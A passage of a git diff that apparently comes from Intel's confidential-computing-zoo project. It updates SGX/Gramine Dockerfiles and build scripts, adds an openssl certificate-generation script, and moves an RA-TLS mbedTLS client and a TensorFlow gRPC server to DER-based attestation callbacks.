+ && pip3 install 'meson>=0.56' 'toml>=0.10'
# for debug, just copy gramine from local in case failed to clone from github
#RUN mkdir -p ${GRAMINEDIR}
@@ -145,15 +145,11 @@ ARG CLF_DIR=/clf
ENV CLF_PATH=${CLF_DIR}
RUN n=0; until [ $n -ge 100 ] ; do echo $n; n=$(($n+1)); git clone https://github.com/intel/confidential-computing-zoo.git ${CLF_PATH} && break; sleep 1; done
RUN cd ${CLF_PATH} \
- && git checkout ccp \
+ && git checkout branch-dev/cross_lang_framework \
&& echo "---build clf_client library---" \
&& cd ${CLF_PATH}/cczoo/cross_lang_framework/clf_client/java \
&& sed -i -r 's/(.*)(sudo )(.*)/\1\3/' Makefile \
- && GRAMINEDIR=/gramine make \
- && echo "---build sample app---" \
- && cd ${CLF_PATH}/cczoo/cross_lang_framework/clf_client/app \
- && git diff clf_test.java \
- && GRAMINEDIR=/gramine SGX_SIGNER_KEY=${HOME}/.config/gramine/enclave-key.pem make SGX=1
+ && GRAMINEDIR=/gramine make
# Workspace
WORKDIR ${CLF_PATH}/cczoo/cross_lang_framework/clf_client/app
diff --git a/cczoo/cross_lang_framework/docker/clf_client_app.dockerfile b/cczoo/cross_lang_framework/docker/clf_client_app.dockerfile
new file mode 100644
index 00000000..44ea4188
--- /dev/null
+++ b/cczoo/cross_lang_framework/docker/clf_client_app.dockerfile
@@ -0,0 +1,39 @@
+#
+# Copyright (c) 2022 Intel Corporation
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+# http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+ARG base_image=clf-client:gramine1.3-ubuntu20.04
+FROM ${base_image}
+
+
+# Parent Image Env
+ENV CLF_APP_FOLDER=/clf/cczoo/cross_lang_framework/clf_client
+ENV GRAMINE_FOLDER=/gramine
+
+#--------------------------------
+# Build and Run Sample App
+#--------------------------------
+ENV APP_PATH=/app_repo
+# download app code, your should replace this with your app.
+RUN n=0; until [ $n -ge 100 ] ; do echo $n; n=$(($n+1)); git clone https://github.com/intel/confidential-computing-zoo.git ${APP_PATH} && break; sleep 1; done
+RUN cd ${CLF_APP_FOLDER} \
+ && git checkout branch-dev/cross_lang_framework \
+ && cp -rf ${APP_PATH}/cczoo/cross_lang_framework/clf_client/app ${CLF_APP_FOLDER}/ \
+ && echo "---build sample app---" \
+ && cd ${CLF_APP_FOLDER}/app \
+ && GRAMINEDIR=${GRAMINE_FOLDER} SGX_SIGNER_KEY=${HOME}/.config/gramine/enclave-key.pem make SGX=1
+
+# Workspace
+WORKDIR ${CLF_APP_FOLDER}/app
+
diff --git a/cczoo/cross_lang_framework/docker/clf_server.dockerfile b/cczoo/cross_lang_framework/docker/clf_server.dockerfile
index 49ca8d54..82e169e2 100644
--- a/cczoo/cross_lang_framework/docker/clf_server.dockerfile
+++ b/cczoo/cross_lang_framework/docker/clf_server.dockerfile
@@ -74,7 +74,7 @@ RUN apt-get update && apt-get install -y bison gawk nasm python3-click python3-j
libgmp-dev libmpfr-dev libmpc-dev libisl-dev
RUN pip3 install --upgrade pip \
- && pip3 install 'meson>=0.56' 'toml>=0.10' cryptography
+ && pip3 install 'meson>=0.56' 'toml>=0.10'
# for debug, just copy gramine from local in case failed to clone from github
#RUN mkdir -p ${GRAMINEDIR}
@@ -152,7 +152,7 @@ RUN if [ ${PCCS_URL} != "default" ]; then \
#todo
RUN n=0; until [ $n -ge 100 ] ; do echo $n; n=$(($n+1)); git clone https://github.com/intel/confidential-computing-zoo.git ${CLF_PATH} && break; sleep 1; done
RUN cd ${CLF_PATH} \
- && git checkout ccp \
+ && git checkout branch-dev/cross_lang_framework \
&& echo "---build clf_server---" \
&& cd ${CLF_PATH}/cczoo/cross_lang_framework/clf_server \
&& GRAMINEDIR=/gramine make
diff --git a/cczoo/cross_lang_framework/auto_install_clf.bash b/cczoo/cross_lang_framework/tools/auto_install_clf.bash
similarity index 100%
rename from cczoo/cross_lang_framework/auto_install_clf.bash
rename to cczoo/cross_lang_framework/tools/auto_install_clf.bash
diff --git a/cczoo/cross_lang_framework/tools/gen_cert.sh b/cczoo/cross_lang_framework/tools/gen_cert.sh
new file mode 100755
index 00000000..d64056fd
--- /dev/null
+++ b/cczoo/cross_lang_framework/tools/gen_cert.sh
@@ -0,0 +1,139 @@
+#!/bin/bash
+
+#
+# Copyright (c) 2021 Intel Corporation
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+# http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+CA_KEY=ca_private_key.pem
+CA_CERT=ca_cert.crt
+CHILD_KEY=server_private_key.pem
+CHILD_CERT=server_signed_cert.crt
+
+REQ_FILE=__my_cert_req.csr
+EXT_FILE=__v3.ext
+SRL_FILE=`echo ${CA_CERT} | awk -F '.' '{print $1}'`.srl
+
+# color
+COLORLESS="\033[0m"
+RED="\033[31m"
+GREEN="\033[32m"
+YELLOW="\033[33m"
+
+gen_root_cert() {
+ echo -e "\n========================================="
+ echo -e "Generate Self-signed Root Certification:"
+ echo -e "========================================="
+ openssl req -newkey rsa:2048 \
+ -x509 \
+ -sha256 \
+ -days 3650 \
+ -nodes \
+ -out ${CA_CERT} \
+ -keyout ${CA_KEY}
+}
+
+gen_sign_req() {
+ echo -e "\n[Generate sign req]: ..."
+ openssl req -new -nodes \
+ -newkey rsa:2048 \
+ -keyout ${CHILD_KEY} \
+ -out ${REQ_FILE}
+ echo -e "${GREEN}done${COLORLESS}"
+}
+
+create_v3_ext() {
+ echo -e "\n[Creating ${EXT_FILE}]: ... \c"
+ echo -e "\
+authorityKeyIdentifier=keyid,issuer
+basicConstraints=CA:FALSE
+keyUsage=digitalSignature,nonRepudiation,keyEncipherment,dataEncipherment" >${EXT_FILE}
+ echo -e "${GREEN}... done${COLORLESS}"
+}
+
+sign_child_cert() {
+ echo -e "\n[Sign child certification]: ..."
+ openssl x509 -req \
+ -in ${REQ_FILE} \
+ -days 365 \
+ -extfile ${EXT_FILE} \
+ -CA ${CA_CERT} \
+ -CAkey ${CA_KEY} \
+ -CAcreateserial \
+ -out ${CHILD_CERT}
+ echo -e "${GREEN}... done${COLORLESS}"
+}
+
+display_result() {
+ echo -e "\n* root private key:"
+ echo -e "$(find `pwd` -name ${CA_KEY})"
+ echo -e "* root certification:"
+ echo -e "$(find `pwd` -name ${CA_CERT})"
+
+ echo -e "* child private key:"
+ echo -e "$(find `pwd` -name ${CHILD_KEY})"
+ echo -e "* child certification:"
+ echo -e "$(find `pwd` -name ${CHILD_CERT})"
+}
+
+do_clean() {
+ rm ${REQ_FILE}
+ rm ${EXT_FILE}
+ rm ${SRL_FILE}
+}
+
+generate_child_cert() {
+ echo -e "\n========================================="
+ echo -e "Generate Child Certification"
+ echo -e "========================================="
+
+ create_v3_ext
+
+ gen_sign_req
+
+ sign_child_cert
+
+ display_result
+
+ do_clean
+}
+
+helper() {
+ echo -e "./gen_cert.sh [-r] [-c]"
+ echo -e "-r\tGenerate root certification (e.g. ca_cert.crt), used in clf_client." | sed "s/./&\n\t/72;P;D"
+ echo -e "-c\tGenerate child certification and private key, used in clf_server." | sed "s/./&\n\t/72;P;D"
+ echo -e "\tRoot certification is used to sign the child certification, so root certification should be generated first.\
+ The generated files should be put into folder clf_server/certs/, replace existing files:\
+ (e.g. server_private_key.pem and server_signed_cert.crt)" | sed "s/./&\n\t/72;P;D"
+}
+
+if [ $# -eq 0 ];
+then
+ helper
+fi
+
+while getopts "hrc" OPT &> /dev/null ; do
+ case "$OPT" in
+ h)
+ helper
+ exit 0 ;;
+ r)
+ gen_root_cert ;;
+ c)
+ generate_child_cert ;;
+ *)
+ echo -e "Invalid Parameters."
+ helper
+ exit 1 ;;
+ esac
+done
diff --git a/cczoo/horizontal_fl/README.md b/cczoo/horizontal_fl/README.md
index 52115ff8..a9db2717 100644
--- a/cczoo/horizontal_fl/README.md
+++ b/cczoo/horizontal_fl/README.md
@@ -143,31 +143,26 @@ If running locally, please fill in the local PCCS server address in `
-docker exec -it ps0 bash
cd recommendation_system
test-sgx.sh ps0
```
```shell
./start_container.sh worker0
-docker exec -it worker0 bash
cd recommendation_system
test-sgx.sh worker0
```
```shell
./start_container.sh worker1
-docker exec -it worker1 bash
cd recommendation_system
test-sgx.sh worker1
```
```shell
./start_container.sh worker2
-docker exec -it worker2 bash
cd recommendation_system
test-sgx.sh worker2
```
```shell
./start_container.sh worker3
-docker exec -it worker3 bash
cd recommendation_system
test-sgx.sh worker3
```
@@ -207,19 +202,16 @@ Start three containers (ps0, worker0, worker1) and run the script for the corres
If running locally, please fill in the local PCCS server address in ``. If running in the cloud (except for Microsoft Azure), please modify the `PCCS server address` in the `sgx_default_qcnl.conf` file and fill in the PCCS address of the cloud and ignore the `` parameter.
```shell
./start_container.sh ps0 latest
-docker exec -it ps0 bash
cd image_classification
test-sgx.sh ps0
```
```shell
./start_container.sh worker0 latest
-docker exec -it worker0 bash
cd image_classification
test-sgx.sh worker0
```
```shell
./start_container.sh worker1 latest
-docker exec -it worker1 bash
cd image_classification
test-sgx.sh worker1
```
diff --git a/cczoo/horizontal_fl/anolisos_horizontal_fl.dockerfile b/cczoo/horizontal_fl/anolisos_horizontal_fl.dockerfile
index 45e13dd2..b3349798 100644
--- a/cczoo/horizontal_fl/anolisos_horizontal_fl.dockerfile
+++ b/cczoo/horizontal_fl/anolisos_horizontal_fl.dockerfile
@@ -43,7 +43,7 @@ RUN yum install -y --nogpgcheck sgx-dcap-pccs libsgx-dcap-default-qpl
# Gramine
ENV GRAMINEDIR=/gramine
ENV SGX_DCAP_VERSION=DCAP_1.11
-ENV GRAMINE_VERSION=v1.2
+ENV GRAMINE_VERSION=v1.3.1
ENV ISGX_DRIVER_PATH=${GRAMINEDIR}/driver
ENV PKG_CONFIG_PATH=/usr/local/lib64/pkgconfig/
ENV LC_ALL=C.UTF-8 LANG=C.UTF-8
@@ -53,14 +53,14 @@ ENV GRAMINE_PKGLIBDIR=/usr/local/lib64/gramine
ENV ARCH_LIBDIR=/lib64
RUN yum install -y gawk bison python3-click python3-jinja2 golang ninja-build
-RUN yum install -y openssl-devel protobuf-c-devel python3-protobuf protobuf-c-compiler
+RUN yum install -y openssl-devel protobuf-c-devel python3-protobuf protobuf-c-compiler protobuf-compiler
RUN yum install -y gmp-devel mpfr-devel libmpc-devel isl-devel nasm python3-devel mailcap
RUN ln -s /usr/bin/python3 /usr/bin/python \
&& pip3 install --upgrade pip \
- && pip3 install toml meson wheel cryptography paramiko
+ && pip3 install toml meson wheel cryptography paramiko pyelftools
-RUN rm -rf ${GRAMINEDIR} && git clone https://github.com/gramineproject/gramine.git ${GRAMINEDIR} \
+RUN git clone https://github.com/gramineproject/gramine.git ${GRAMINEDIR} \
&& cd ${GRAMINEDIR} \
&& git checkout ${GRAMINE_VERSION}
@@ -93,7 +93,7 @@ RUN cd ${GRAMINEDIR}/subprojects/cJSON*/ \
RUN cd /usr/bin && curl -fLO https://releases.bazel.build/3.1.0/release/bazel-3.1.0-linux-x86_64 && chmod +x bazel-3.1.0-linux-x86_64
# deps
-RUN python3 -m pip install numpy keras_preprocessing cryptography pyelftools && pip3 install --upgrade pip setuptools==44.1.1
+RUN python3 -m pip install numpy keras_preprocessing cryptography && pip3 install --upgrade pip setuptools==44.1.1
# config and download TensorFlow
ENV TF_VERSION=v2.4.2
diff --git a/cczoo/horizontal_fl/build_docker_image.sh b/cczoo/horizontal_fl/build_docker_image.sh
index 3a7d0fa8..08142a5b 100755
--- a/cczoo/horizontal_fl/build_docker_image.sh
+++ b/cczoo/horizontal_fl/build_docker_image.sh
@@ -64,4 +64,4 @@ DOCKER_BUILDKIT=0 docker build \
--build-arg https_proxy=${proxy_server} \
--build-arg no_proxy=${no_proxy} \
--build-arg WORKLOAD=${workload}
-fi
+fi
diff --git a/cczoo/horizontal_fl/horizontal_fl.dockerfile b/cczoo/horizontal_fl/horizontal_fl.dockerfile
index 0c679c17..82826ee7 100644
--- a/cczoo/horizontal_fl/horizontal_fl.dockerfile
+++ b/cczoo/horizontal_fl/horizontal_fl.dockerfile
@@ -90,18 +90,18 @@ RUN if [ -z "$AZURE" ]; then \
# Gramine
ENV GRAMINEDIR=/gramine
ENV SGX_DCAP_VERSION=DCAP_1.11
-ENV GRAMINE_VERSION=v1.2
+ENV GRAMINE_VERSION=v1.3.1
ENV ISGX_DRIVER_PATH=${GRAMINEDIR}/driver
ENV WERROR=1
ENV SGX=1
RUN apt-get install -y gawk bison python3-click python3-jinja2 golang ninja-build \
- libcurl4-openssl-dev libprotobuf-c-dev python3-protobuf protobuf-c-compiler \
+ libcurl4-openssl-dev libprotobuf-c-dev python3-protobuf protobuf-c-compiler protobuf-compiler\
libgmp-dev libmpfr-dev libmpc-dev libisl-dev nasm
RUN ln -s /usr/bin/python3 /usr/bin/python \
&& pip3 install --upgrade pip \
- && pip3 install toml meson cryptography
+ && pip3 install toml meson cryptography pyelftools
RUN git clone https://github.com/gramineproject/gramine.git ${GRAMINEDIR} \
&& cd ${GRAMINEDIR} \
@@ -139,7 +139,7 @@ RUN wget "https://github.com/bazelbuild/bazel/releases/download/${BAZEL_VERSION}
&& dpkg -i bazel_*.deb
# deps
-RUN pip3 install numpy keras_preprocessing pandas sklearn matplotlib
+RUN pip3 install numpy==1.23.5 keras_preprocessing pandas==1.5.2 scikit-learn==1.1.3 matplotlib
# config and download TensorFlow
ENV TF_VERSION=v2.4.2
@@ -186,7 +186,7 @@ RUN if [ "${BASE_IMAGE}" = "ubuntu:18.04" ]; then \
ARG BASE_IMAGE=ubuntu:20.04
RUN if [ "${BASE_IMAGE}" = "ubuntu:20.04" ] ; then \
- python -m pip install markupsafe==2.0.1 && pip install numpy --upgrade; \
+ python -m pip install markupsafe==2.0.1 && pip install numpy==1.23.5 --upgrade; \
fi
RUN if [ "$WORKLOAD" = "image_classification" ]; then \
diff --git a/cczoo/horizontal_fl/image_classification/Makefile b/cczoo/horizontal_fl/image_classification/Makefile
index 5330cb1d..6c2fac4f 100644
--- a/cczoo/horizontal_fl/image_classification/Makefile
+++ b/cczoo/horizontal_fl/image_classification/Makefile
@@ -18,6 +18,8 @@
ARCH_LIBDIR ?= /lib/$(shell $(CC) -dumpmachine)
# ENTRYPOINT ?= $(realpath $(shell sh -c "command -v python3"))
+RA_TYPE ?= dcap
+
ifeq ($(DEBUG),1)
GRAMINE_LOG_LEVEL = debug
else
@@ -35,6 +37,7 @@ endif
python.manifest: python.manifest.template
gramine-manifest \
-Dlog_level=$(GRAMINE_LOG_LEVEL) \
+ -Dra_type=$(RA_TYPE) \
-Dentrypoint=$(realpath $(shell sh -c "command -v python3")) \
-Darch_libdir=$(ARCH_LIBDIR) \
$< >$@
diff --git a/cczoo/horizontal_fl/image_classification/anolisos.diff b/cczoo/horizontal_fl/image_classification/anolisos.diff
index c722c5e3..dfd7a801 100644
--- a/cczoo/horizontal_fl/image_classification/anolisos.diff
+++ b/cczoo/horizontal_fl/image_classification/anolisos.diff
@@ -1,5 +1,5 @@
diff --git a./python.manifest.template b./python.manifest.template
-index 82fba08..ebea650 100644
+index 82fba08..568f7a7 100644
--- a./python.manifest.template
+++ b./python.manifest.template
@@ -37,9 +37,10 @@ fs.mounts = [
diff --git a/cczoo/horizontal_fl/image_classification/python.manifest.template b/cczoo/horizontal_fl/image_classification/python.manifest.template
index 82fba089..5107dd0e 100644
--- a/cczoo/horizontal_fl/image_classification/python.manifest.template
+++ b/cczoo/horizontal_fl/image_classification/python.manifest.template
@@ -47,7 +47,7 @@ sgx.debug = false
sgx.nonpie_binary = true
sgx.enclave_size = "8G"
sgx.thread_num = 512
-sgx.remote_attestation = true
+sgx.remote_attestation = "{{ ra_type }}"
sgx.enable_stats = false
# sgx.require_avx = true
diff --git a/cczoo/horizontal_fl/image_classification/test-sgx.sh b/cczoo/horizontal_fl/image_classification/test-sgx.sh
index 3bf9e282..e3bfb7f1 100755
--- a/cczoo/horizontal_fl/image_classification/test-sgx.sh
+++ b/cczoo/horizontal_fl/image_classification/test-sgx.sh
@@ -52,7 +52,7 @@ PS_HOSTS=$2
WORKER_HOSTS=$3
if [ "$ROLE" == "make" ]; then
- make clean && make | make_logfilter
+ make clean && make RA_TYPE=dcap | make_logfilter
elif [ "$ROLE" == "ps0" ]; then
make_custom_env
taskset -c 0-1 stdbuf -o0 gramine-sgx python -u train.py --task_index=0 --job_name=ps $PS_HOSTS $WORKER_HOSTS 2>&1 | runtime_logfilter | tee -a ps0-gramine-python.log &
diff --git a/cczoo/horizontal_fl/patches/gramine/CI-Examples/ra-tls-mbedtls/src/client.c b/cczoo/horizontal_fl/patches/gramine/CI-Examples/ra-tls-mbedtls/src/client.c
index e48f44c7..a6463349 100644
--- a/cczoo/horizontal_fl/patches/gramine/CI-Examples/ra-tls-mbedtls/src/client.c
+++ b/cczoo/horizontal_fl/patches/gramine/CI-Examples/ra-tls-mbedtls/src/client.c
@@ -21,7 +21,19 @@
* limitations under the License.
*/
-#include "mbedtls/config.h"
+/* SPDX-License-Identifier: Apache-2.0 */
+/* Copyright (C) 2006-2015, ARM Limited, All Rights Reserved
+ * 2020, Intel Labs
+ */
+
+/*
+ * SSL client demonstration program (with RA-TLS).
+ * This program is originally based on an mbedTLS example ssl_client1.c but uses RA-TLS flows (SGX
+ * Remote Attestation flows) if RA-TLS library is required by user.
+ * Note that this program builds against mbedTLS 3.x.
+ */
+
+#include "mbedtls/build_info.h"
#include
#include
@@ -38,7 +50,6 @@
#define MBEDTLS_EXIT_SUCCESS EXIT_SUCCESS
#define MBEDTLS_EXIT_FAILURE EXIT_FAILURE
-#include "mbedtls/certs.h"
#include "mbedtls/ctr_drbg.h"
#include "mbedtls/debug.h"
#include "mbedtls/entropy.h"
@@ -46,8 +57,8 @@
#include "mbedtls/net_sockets.h"
#include "mbedtls/ssl.h"
-/* RA-TLS: on client, only need to register ra_tls_verify_callback() for cert verification */
-int (*ra_tls_verify_callback_f)(void* data, mbedtls_x509_crt* crt, int depth, uint32_t* flags);
+/* RA-TLS: on client, only need to register ra_tls_verify_callback_der() for cert verification */
+int (*ra_tls_verify_callback_der_f)(uint8_t* der_crt, size_t der_crt_size);
/* RA-TLS: if specified in command-line options, use our own callback to verify SGX measurements */
void (*ra_tls_set_measurement_callback_f)(int (*f_cb)(const char* mrenclave, const char* mrsigner,
@@ -59,6 +70,8 @@ void (*ra_tls_set_measurement_callback_f)(int (*f_cb)(const char* mrenclave, con
#define DEBUG_LEVEL 1
+#define CA_CRT_PATH "ssl/ca.crt"
+
static void my_debug(void* ctx, int level, const char* file, int line, const char* str) {
((void)level);
@@ -140,6 +153,23 @@ static int my_verify_measurements(const char* mrenclave, const char* mrsigner,
}
}
+/* RA-TLS: mbedTLS-specific callback to verify the x509 certificate */
+static int my_verify_callback(void* data, mbedtls_x509_crt* crt, int depth, uint32_t* flags) {
+ (void)data;
+
+ if (depth != 0) {
+ /* the cert chain in RA-TLS consists of single self-signed cert, so we expect depth 0 */
+ return MBEDTLS_ERR_X509_INVALID_FORMAT;
+ }
+ if (flags) {
+ /* mbedTLS sets flags to signal that the cert is not to be trusted (e.g., it is not
+ * correctly signed by a trusted CA; since RA-TLS uses self-signed certs, we don't care
+ * what mbedTLS thinks and ignore internal cert verification logic of mbedTLS */
+ *flags = 0;
+ }
+ return ra_tls_verify_callback_der_f(crt->raw.p, crt->raw.len);
+}
+
static bool getenv_client_inside_sgx() {
char* str = getenv("RA_TLS_CLIENT_INSIDE_SGX");
if (!str)
@@ -160,7 +190,7 @@ int main(int argc, char** argv) {
char* error;
void* ra_tls_verify_lib = NULL;
- ra_tls_verify_callback_f = NULL;
+ ra_tls_verify_callback_der_f = NULL;
ra_tls_set_measurement_callback_f = NULL;
mbedtls_entropy_context entropy;
@@ -202,7 +232,7 @@ int main(int argc, char** argv) {
* RA-TLS verification with DCAP inside SGX enclave uses dummies instead of real
* functions from libsgx_urts.so, thus we don't need to load this helper library.
*/
- ra_tls_verify_lib = dlopen("libra_tls_verify_dcap_graphene.so", RTLD_LAZY);
+ ra_tls_verify_lib = dlopen("libra_tls_verify_dcap_gramine.so", RTLD_LAZY);
if (!ra_tls_verify_lib) {
mbedtls_printf("%s\n", dlerror());
mbedtls_printf("User requested RA-TLS verification with DCAP inside SGX but cannot find lib\n");
@@ -228,7 +258,7 @@ int main(int argc, char** argv) {
}
if (ra_tls_verify_lib) {
- ra_tls_verify_callback_f = dlsym(ra_tls_verify_lib, "ra_tls_verify_callback");
+ ra_tls_verify_callback_der_f = dlsym(ra_tls_verify_lib, "ra_tls_verify_callback_der");
if ((error = dlerror()) != NULL) {
mbedtls_printf("%s\n", error);
return 1;
@@ -347,10 +377,9 @@ int main(int argc, char** argv) {
mbedtls_printf(" . Loading the CA root certificate ...");
fflush(stdout);
- ret = mbedtls_x509_crt_parse(&cacert, (const unsigned char*)mbedtls_test_cas_pem,
- mbedtls_test_cas_pem_len);
+ ret = mbedtls_x509_crt_parse_file(&cacert, CA_CRT_PATH);
if (ret < 0) {
- mbedtls_printf( " failed\n ! mbedtls_x509_crt_parse returned -0x%x\n\n", -ret );
+ mbedtls_printf( " failed\n ! mbedtls_x509_crt_parse_file returned -0x%x\n\n", -ret );
goto exit;
}
@@ -361,7 +390,7 @@ int main(int argc, char** argv) {
if (ra_tls_verify_lib) {
/* use RA-TLS verification callback; this will overwrite CA chain set up above */
mbedtls_printf(" . Installing RA-TLS callback ...");
- mbedtls_ssl_conf_verify(&conf, ra_tls_verify_callback_f, NULL);
+ mbedtls_ssl_conf_verify(&conf, &my_verify_callback, NULL);
mbedtls_printf(" ok\n");
}
@@ -385,8 +414,6 @@ int main(int argc, char** argv) {
mbedtls_printf(" . Performing the SSL/TLS handshake...");
fflush(stdout);
- mbedtls_printf("\n******************* %s -> %s : %d ******************* \n", __FILE__, __FUNCTION__, __LINE__);
-
while ((ret = mbedtls_ssl_handshake(&ssl)) != 0) {
if (ret != MBEDTLS_ERR_SSL_WANT_READ && ret != MBEDTLS_ERR_SSL_WANT_WRITE) {
mbedtls_printf(" failed\n ! mbedtls_ssl_handshake returned -0x%x\n\n", -ret);
@@ -394,8 +421,6 @@ int main(int argc, char** argv) {
}
}
- mbedtls_printf("\n******************* %s -> %s : %d ******************* \n", __FILE__, __FUNCTION__, __LINE__);
-
mbedtls_printf(" ok\n");
mbedtls_printf(" . Verifying peer X.509 certificate...");
diff --git a/cczoo/horizontal_fl/patches/tf/tensorflow/core/distributed_runtime/rpc/grpc_sgx_ra_tls_server.cc b/cczoo/horizontal_fl/patches/tf/tensorflow/core/distributed_runtime/rpc/grpc_sgx_ra_tls_server.cc
index 651bff10..9746f602 100644
--- a/cczoo/horizontal_fl/patches/tf/tensorflow/core/distributed_runtime/rpc/grpc_sgx_ra_tls_server.cc
+++ b/cczoo/horizontal_fl/patches/tf/tensorflow/core/distributed_runtime/rpc/grpc_sgx_ra_tls_server.cc
@@ -29,20 +29,36 @@ namespace sgx {
// Server side is required to use a provider, because server always needs to use identity certs.
::grpc_impl::experimental::TlsKeyMaterialsConfig::PemKeyCertPair get_cred_key_pair() {
- mbedtls_x509_crt srvcert;
+ mbedtls_x509_crt srvcert;
mbedtls_pk_context pkey;
+ uint8_t* der_key = NULL;
+ uint8_t* der_crt = NULL;
+
mbedtls_x509_crt_init(&srvcert);
mbedtls_pk_init(&pkey);
library_engine ra_tls_attest_lib("libra_tls_attest.so", RTLD_LAZY);
- auto ra_tls_create_key_and_crt_f = reinterpret_cast(ra_tls_attest_lib.get_func("ra_tls_create_key_and_crt"));
+ auto ra_tls_create_key_and_crt_der_f = reinterpret_cast(ra_tls_attest_lib.get_func("ra_tls_create_key_and_crt_der"));
+
+ size_t der_key_size;
+ size_t der_crt_size;
+
+ int ret = (*ra_tls_create_key_and_crt_der_f)(&der_key, &der_key_size, &der_crt, &der_crt_size);
+ if (ret != 0) {
+ throw std::runtime_error(std::string("ra_tls_create_key_and_crt_der_f failed and error %s\n\n", mbedtls_high_level_strerr(ret)));
+ }
- int ret = (*ra_tls_create_key_and_crt_f)(&pkey, &srvcert);
+ ret = mbedtls_x509_crt_parse(&srvcert, (unsigned char*)der_crt, der_crt_size);
if (ret != 0) {
- throw std::runtime_error(std::string("ra_tls_create_key_and_crt failed and error %s\n\n", mbedtls_high_level_strerr(ret)));
+ throw std::runtime_error(std::string("mbedtls_x509_crt_parse_der failed and error %s\n\n", mbedtls_high_level_strerr(ret)));
}
+ ret = mbedtls_pk_parse_key(&pkey, (unsigned char*)der_key, der_key_size,/*pwd=*/NULL, 0, NULL, NULL);
+ if (ret != 0) {
+ throw std::runtime_error(std::string("mbedtls_pk_parse_key failed and error %s\n\n", mbedtls_high_level_strerr(ret)));
+ }
+
unsigned char private_key_pem[16000], cert_pem[16000];
size_t olen;
diff --git a/cczoo/horizontal_fl/patches/tf/tensorflow/core/distributed_runtime/rpc/grpc_sgx_ra_tls_utils.h b/cczoo/horizontal_fl/patches/tf/tensorflow/core/distributed_runtime/rpc/grpc_sgx_ra_tls_utils.h
index 7f7cf0d1..e841948f 100644
--- a/cczoo/horizontal_fl/patches/tf/tensorflow/core/distributed_runtime/rpc/grpc_sgx_ra_tls_utils.h
+++ b/cczoo/horizontal_fl/patches/tf/tensorflow/core/distributed_runtime/rpc/grpc_sgx_ra_tls_utils.h
@@ -38,8 +38,6 @@
namespace grpc {
namespace sgx {
-#include
-#include
#include
#include
#include
diff --git a/cczoo/horizontal_fl/recommendation_system/Makefile b/cczoo/horizontal_fl/recommendation_system/Makefile
index 5330cb1d..6c2fac4f 100644
--- a/cczoo/horizontal_fl/recommendation_system/Makefile
+++ b/cczoo/horizontal_fl/recommendation_system/Makefile
@@ -18,6 +18,8 @@
ARCH_LIBDIR ?= /lib/$(shell $(CC) -dumpmachine)
# ENTRYPOINT ?= $(realpath $(shell sh -c "command -v python3"))
+RA_TYPE ?= dcap
+
ifeq ($(DEBUG),1)
GRAMINE_LOG_LEVEL = debug
else
@@ -35,6 +37,7 @@ endif
python.manifest: python.manifest.template
gramine-manifest \
-Dlog_level=$(GRAMINE_LOG_LEVEL) \
+ -Dra_type=$(RA_TYPE) \
-Dentrypoint=$(realpath $(shell sh -c "command -v python3")) \
-Darch_libdir=$(ARCH_LIBDIR) \
$< >$@
diff --git a/cczoo/horizontal_fl/recommendation_system/python.manifest.template b/cczoo/horizontal_fl/recommendation_system/python.manifest.template
index e9deb9a1..d1b02987 100644
--- a/cczoo/horizontal_fl/recommendation_system/python.manifest.template
+++ b/cczoo/horizontal_fl/recommendation_system/python.manifest.template
@@ -47,7 +47,7 @@ sgx.debug = false
sgx.nonpie_binary = true
sgx.enclave_size = "32G"
sgx.thread_num = 1024
-sgx.remote_attestation = true
+sgx.remote_attestation = "{{ ra_type }}"
sgx.enable_stats = false
# sgx.require_avx = true
diff --git a/cczoo/horizontal_fl/recommendation_system/test-sgx.sh b/cczoo/horizontal_fl/recommendation_system/test-sgx.sh
index bbffef27..89d9e394 100755
--- a/cczoo/horizontal_fl/recommendation_system/test-sgx.sh
+++ b/cczoo/horizontal_fl/recommendation_system/test-sgx.sh
@@ -49,7 +49,7 @@ function make_custom_env() {
ROLE=$1
if [ "$ROLE" == "make" ]; then
- make clean && make | make_logfilter
+ make clean && make RA_TYPE=dcap | make_logfilter
elif [ "$ROLE" == "ps0" ]; then
make_custom_env
taskset -c 0-8 stdbuf -o0 gramine-sgx python -u ps0.py 2>&1 | runtime_logfilter | tee -a ps0.log &
diff --git a/cczoo/horizontal_fl/start_container.sh b/cczoo/horizontal_fl/start_container.sh
index 85597cd8..4e731088 100755
--- a/cczoo/horizontal_fl/start_container.sh
+++ b/cczoo/horizontal_fl/start_container.sh
@@ -28,14 +28,10 @@ else
ip_addr=127.0.0.1
fi
-if [ ! -n "$3" ] ; then
- tag=latest
-else
- tag=$3
-fi
+tag=latest
-if [ "$4" == "anolisos" ]; then
-docker run -itd \
+if [ "$3" == "ubuntu" ] || [ ! -n "$3" ]; then
+docker run -it \
--restart=always \
--cap-add=SYS_PTRACE \
--security-opt seccomp=unconfined \
@@ -62,4 +58,18 @@ docker run -itd \
--add-host=pccs.service.com:${ip_addr} \
horizontal_fl:${tag} \
bash
+elif [ "$4" == "anolisos" ]; then
+docker run -it \
+ --restart=always \
+ --cap-add=SYS_PTRACE \
+ --security-opt seccomp=unconfined \
+ --device=/dev/sgx_enclave:/dev/sgx/enclave \
+ --device=/dev/sgx_provision:/dev/sgx/provision \
+ --name=${name} \
+ -v /var/run/aesmd/aesm.socket:/var/run/aesmd/aesm.socket \
+ -v /home:/home/host-home \
+ --net=host \
+ --add-host=pccs.service.com:${ip_addr} \
+ anolisos_horizontal_fl:${tag} \
+ bash
fi
diff --git a/cczoo/machine_binding_key_backup/.gitignore b/cczoo/machine_binding_key_backup/.gitignore
new file mode 100644
index 00000000..9d0a8c57
--- /dev/null
+++ b/cczoo/machine_binding_key_backup/.gitignore
@@ -0,0 +1,16 @@
+rkeyserver/App/enclave_u.*
+rkeyserver/Enclave/enclave_t.*
+rkeyserver/App/*.o
+rkeyserver/Enclave/*.o
+
+utils/tkey_exchange/*.o
+utils/tkey_exchange/sgx_tkey_exchange_t.*
